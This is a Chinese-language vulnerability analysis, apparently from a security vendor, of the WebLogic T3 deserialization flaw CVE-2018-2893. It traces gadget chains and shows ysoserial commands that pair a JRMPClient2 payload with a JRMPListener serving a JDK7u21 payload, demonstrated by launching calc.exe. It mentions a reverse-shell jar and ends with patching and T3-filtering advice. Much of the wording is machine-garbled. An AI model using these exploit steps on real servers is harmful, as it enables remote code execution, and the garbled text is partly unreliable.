快捷搜索:  网络  渗透  后门  CVE  扫描  木马  黑客  as

天融信关于CVE-2018-2893 WebLogic反序列化漏洞阐发

1、违景先容

WebLogic是美国Oracle公司出品的一个Application Server,切当的说是一个基于JAVA EE架构的中间件, WebLogic是用于开发、集成、部署以及治理大型分布式Web应用、收集应用以及数据库应用的Java应用服务器。

1.1 漏洞描摹

Oracle官方在2018年7月发布了症结补丁更新,其中包含了Oracle WebLogic Server的一个高危的WebLogic反序列化漏洞,通过该漏洞,攻击者可以在未授权的情形下遥程执行代码。  

此漏洞产生于WebLogic T3服务,当开放WebLogic控制大驾口(默认为7001端口)时,T3服务会默认开启,因此会造成较大影响。结合曾经爆出的WebLogic WLS 组件漏洞,不排除会有攻击者行使漏洞挖矿的可能,因此,建议受影响企业用户绝快部署防护措施。

1.2 受影响的体系版本

WebLogic10.3.6.0

WebLogic12.1.3.0

WebLogic12.2.1.2

WebLogic12.2.1.3

1.3 漏洞编号

CVE-2018-2893

二、漏洞细节

这次的WebLogic (CVE-2018-2893)漏洞以及之前的JRMP协定漏洞(CVE-2018-2628)漏洞是分不开的,他是结合了RMI机制缺点以及JDK反序列化漏洞绕过了WebLogic黑名单,所以先容这个漏洞之前,先归顾下之前的漏洞行使链。

在CVE-2015-4852 中行使的是Co妹妹ons Collections 库,支流的两大行使链是TransformedMap以及Lazymap,实在他们的核心都是类似的。

先拿TransformedMap做个先容,核心是反射机制。

反射机制

JAVA反射机制是在运行状态中,黑客网,对于任意一个类,都能够知道这个类的所有属性以及要领;对于任意一个对象,都能够调用它的任意一个要领以及属性;这类动态获取的信息和动态调用对象的要领的功能称为Java说话的反射机制。

对应得代码是如许,下面这段代码就可以通过反射调用java.net.URLClassLoader.class,这个类可以内陆或者遥程拉起任意的jar文件,同时不用管文件名后缀,直接读取二进制的jar文件。下面这个是拉起了一个反弹Shell功能的jar文件。

天融信关于CVE-2018-2893 WebLogic反序列化漏洞分析

然后再来看看核心的反射要领,InvokerTransformer中的transform要领。这个要领就是完成执行任意类的核心要领,然则必须需要通过反序列化的方式调用这个要领。那么是怎么样调用的呢?

天融信关于CVE-2018-2893 WebLogic反序列化漏洞分析

在TransformedMap中有三个要领调用了transform要领

天融信关于CVE-2018-2893 WebLogic反序列化漏洞分析

下面就是找到谁调用了这3个要领中的一个,可以看到TransformdMap继承了父类,所有的类都完成了序列化接口,不然没法反序列化,这个再也不重复夸大

天融信关于CVE-2018-2893 WebLogic反序列化漏洞分析

跟进这个父类

天融信关于CVE-2018-2893 WebLogic反序列化漏洞分析

可以看到MapEntry调用的setValue调用了其中的checkSetvalue要领。好了那里调用了setValue呢?

那就是经典的sun.reflect.annotation.AnnotationInvocationHandler,它重写了ReadObject反序列化的要领,其中就调用了MapEntry的SetValue要领。

天融信关于CVE-2018-2893 WebLogic反序列化漏洞分析

然后WebLogic的T3协定走的都是ReadObject要领,所以你给他通过T3协定发送WriteObject要领序列化后的二进制字节,他就自然的走上面的攻击链了,下面附上完备攻击链。

天融信关于CVE-2018-2893 WebLogic反序列化漏洞分析

LazyMap实在也是类似的,只无非借用了动态代办署理的要领去完成。

天融信关于CVE-2018-2893 WebLogic反序列化漏洞分析

可以看到Lazymap中的get要领调用了transfrom要领。

经典的sun.reflect.annotation.AnnotationInvocationHandler的invoke要领中掉用了get要领,通过动态代办署理方式就可以调用这个要领。

天融信关于CVE-2018-2893 WebLogic反序列化漏洞分析

然后谈谈RMI绕过,RMI又都是走的序列化以及反序列化,所以CVE-2017-3248以及CVE-2018-2628 漏洞都是这么绕过的。CVE-2018-2628是因为补丁只封堵了CVE-2017-3248的接口java.rmi.registry.Registry,然而CVE-2018-2628是行使了java.rmi.activation.Activator接口绕过了黑名单。

RMI是Remote Method Invocation的简称,是J2SE的一部分,能够让程序员开发出基于Java的分布式应用。一个RMI对象是一个遥程Java对象,可以从另一个Java捏造机上(甚至跨过收集)调用它的要领,可以像调用内陆Java对象的要领同样调用遥程对象的要领,使分布在不同的JVM中的对象的外表以及举动都像内陆对象同样。

RMI传输过程都使用序列化以及反序列化,要是RMI服务端端口对外开发,并且服务端使用了像Apache Co妹妹onsCollections这种库,那么会导致遥程命令执行。

RMI依靠于Java遥程新闻交换协定JRMP(JavaRemote Messaging Protocol),该协定为Java定制,请求服务端与客户端都为Java编写,

因为后来补丁把Co妹妹ons Collections库漏洞补掉了,反射链没有了,所以这次的CVE-2018-2893是通过JDK的反序列化漏洞完成的RCE也就是ysoserial中的JDK7u21就可以完成绕过。后来还有升级版的JDK8u20是在JDK7u21发铺来的。JDK7u21行使链也是十分复杂的然则照样有很多共同点的,它也是借用了跟lazymap相同的动态代办署理思路,走的也是经典的sun.reflect.annotation.AnnotationInvocationHandler的invoke要领,这个走的是hashcode这个分支。

天融信关于CVE-2018-2893 WebLogic反序列化漏洞分析

因为co妹妹onscollection被干掉了不能走Lazymap谁人分支调用InvokerTransformer中的transform要领。所以可以本人写了个恶意的TemplatesImpl类对象本人存到LinkedHashSet

天融信关于CVE-2018-2893 WebLogic反序列化漏洞分析

而LinkedHashSet继承了Hashset,而Hashset又重写了ReadObject要领,并调用了put要领。

天融信关于CVE-2018-2893 WebLogic反序列化漏洞分析

Put要领中有一处hash绕过,已有具体阐发再也不这里先容。

天融信关于CVE-2018-2893 WebLogic反序列化漏洞分析

最后看下行使代码,先创建了恶意的TemplatesImpl对象,然后通过InvocationHandler动态代办署理调用invoke要领,String zeroHashCodeStr =”f5a5a608″;这个就是为了hash绕过,使proxy.hashCode() == templates.hashCode()

天融信关于CVE-2018-2893 WebLogic反序列化漏洞分析

在JDK7u21以后的版本以及JDK8u20的版本中修复了经典的sun.reflect.annotation.AnnotationInvocationHandler,这里要是检测出不是AnnotationType,就会退出抛出异常并退出反序列化流程。

天融信关于CVE-2018-2893 WebLogic反序列化漏洞分析

这里的绕过思路就是实在var1.defaultReadObject()已经实现了反序列化我们的恶意序列化代码,只无非后面异常停止了,所以需要找一处也抛出异常的readObject要领然则同时异常处理啥也没有做就可以了。

java.beans.beancontext.BeanContextSupport中就有这么一个点可以行使,可以看到continue。它返归到BeanContextSupport.readObject()要领中,继续执行到deserialize。

天融信关于CVE-2018-2893 WebLogic反序列化漏洞分析

所以在JDk7u21基础上序列化的二进制数据中插入一段BeanContextSupport对象,这个对象没有加入到动态代办署理中,在反序列化实现后就会被忽略,然则照样会调配一个Handle,就会绕过抛出异常中止的问题,其他点跟JDK7u21的行使链就同样了,无非这里需要更改偏移,有文章具体先容再也不累述。

3、漏洞行使

这里使用的是CVE-2018-2628加上JDK7u21,从下面的图可以看到使用的是JDK7u10, 理论上JDK 7系列版本小于等于21的都可以成功触发漏洞。

天融信关于CVE-2018-2893 WebLogic反序列化漏洞分析

>java-jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar JRMPClient2"192.168.1.105:1099" > payload_1

天融信关于CVE-2018-2893 WebLogic反序列化漏洞分析

这个payload实在就是CVE-2018-2628的java.rmi.activation.Activator然后通过T3协定发送给WebLogic,WebLogic的RMI收到后通过JRMP发送给ysoserial写好的Server端

天融信关于CVE-2018-2893 WebLogic反序列化漏洞分析

在192.168.1.105上做服务端的监听,要是收到WebLogic的RMI通讯就下发 JDK7u21的payload给WebLogic弹出个计算器

java-cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099Jdk7u21 "calc.exe"

天融信关于CVE-2018-2893 WebLogic反序列化漏洞分析

天融信关于CVE-2018-2893 WebLogic反序列化漏洞分析

4、修复建议

1) 官方补丁

Oracle官方已经在7月的症结补丁更新中修复了此漏洞,受影响的用户请绝快升级更新进行防护。

可使用正版软件许可账户登录https://support.oracle.com,下载最新补丁。

2) 手工修复

若要行使该漏洞, 攻击者起首需要与WebLogic Server提供的T3服务端口确立SOCKET连接, 运维人员可通过控制T3协定的走访权限来暂且阻断漏洞行使。

WebLogic提供了名鸣“weblogic.security.net.ConnectionFilterImpl”的默认连接筛选器。该连接筛选器可控制所有传入连接,通过修改此连接筛选器规则,可对T3及T3S协定进行走访控制。

*

您可能还会对下面的文章感兴趣: